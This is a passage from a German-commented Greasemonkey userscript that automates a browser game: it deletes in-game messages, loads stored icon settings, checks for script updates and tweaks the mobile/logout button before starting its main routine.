                GM_xmlhttpRequest({method: 'GET', url: TOWNBASE_URL + href.replace('read', 'delete'), onload: function(responseDetails) {
                }});
            }});
        }
        if (IsMessagesPage()) {
            deactAndRemove(document.getElementById("messageslist").innerHTML);
        }
        else {
            GM_xmlhttpRequest({method: 'GET', url: MESSAGE_URL, onload: function(responseDetails) {
                deactAndRemove(responseDetails.responseText);
            }});
        }
    }
}

// ********************************************************************************************************************
// ********************************************************************************************************************
// ********************************************************************************************************************
// START PROGRAMM * START PROGRAMM * START PROGRAMM * START PROGRAMM * START PROGRAMM *START PROGRAMM *START PROGRAMM *
// ********************************************************************************************************************
// ********************************************************************************************************************
// ********************************************************************************************************************

var waitAndStart = function(first) {
    if (first) {
        if (allIcons == "") {
            setTimeout(waitAndStart, 500, true);
            return;
        }
        imgPrefix = imgPrefix.split("§");
        iconNames = iconNames.split("§");
        allIcons = allIcons.split("§");
        for (var i = 0; i < allIcons.length; i++)
            if (allIcons[i].indexOf("/") != -1)
                allIcons[i] = allIcons[i].split("/");

        getPlunderPage();
        getGangUpgr();
    }

    if (wrap == null) {
        wrap = document.getElementById("wrap");
        if (wrap == null) {
            setTimeout(waitAndStart, 500, false);
            return;
        }
    }

    ByeByeGoogle();

    if (!bl())
        doTheAction();

}

imagehoster = GM_getValue("imagehoster", "");
imgPrefix = GM_getValue("imgPrefix", "");
iconNames = GM_getValue("iconNames", "");
allIcons = GM_getValue("allIcons", "");
if (imagehoster == "" || imgPrefix == "" || iconNames == "" || allIcons == "")
    iconVers = "";
else
    iconVers = GM_getValue("iconVers", "");

// ***********************************************************************************************
// Auf eine neue Version des Skriptes prüfen
// ***********************************************************************************************
CheckForUpdate(GM_getValue("GetUpdate", 0));

// ***********************************************************************************************
// Auf neue Infos prüfen
// ***********************************************************************************************
CheckForInfos(GM_getValue(TOWNEXTENSION+"GetInfo", 0));

var mobBut = document.getElementById("mobile_button");
if (mobBut)
    if (mobBut.innerHTML == "Logout") {
        var node = mobBut.cloneNode();
        mobBut.parentNode.appendChild(node);
        mobBut.innerHTML = "Mobile Version einschalten";
        mobBut.href = '?enable_mobile=true';
    }

if (document.getElementsByClassName('zleft profile-data')[0].innerHTML.indexOf('Sittingmodus') == -1)
    waitAndStart(true);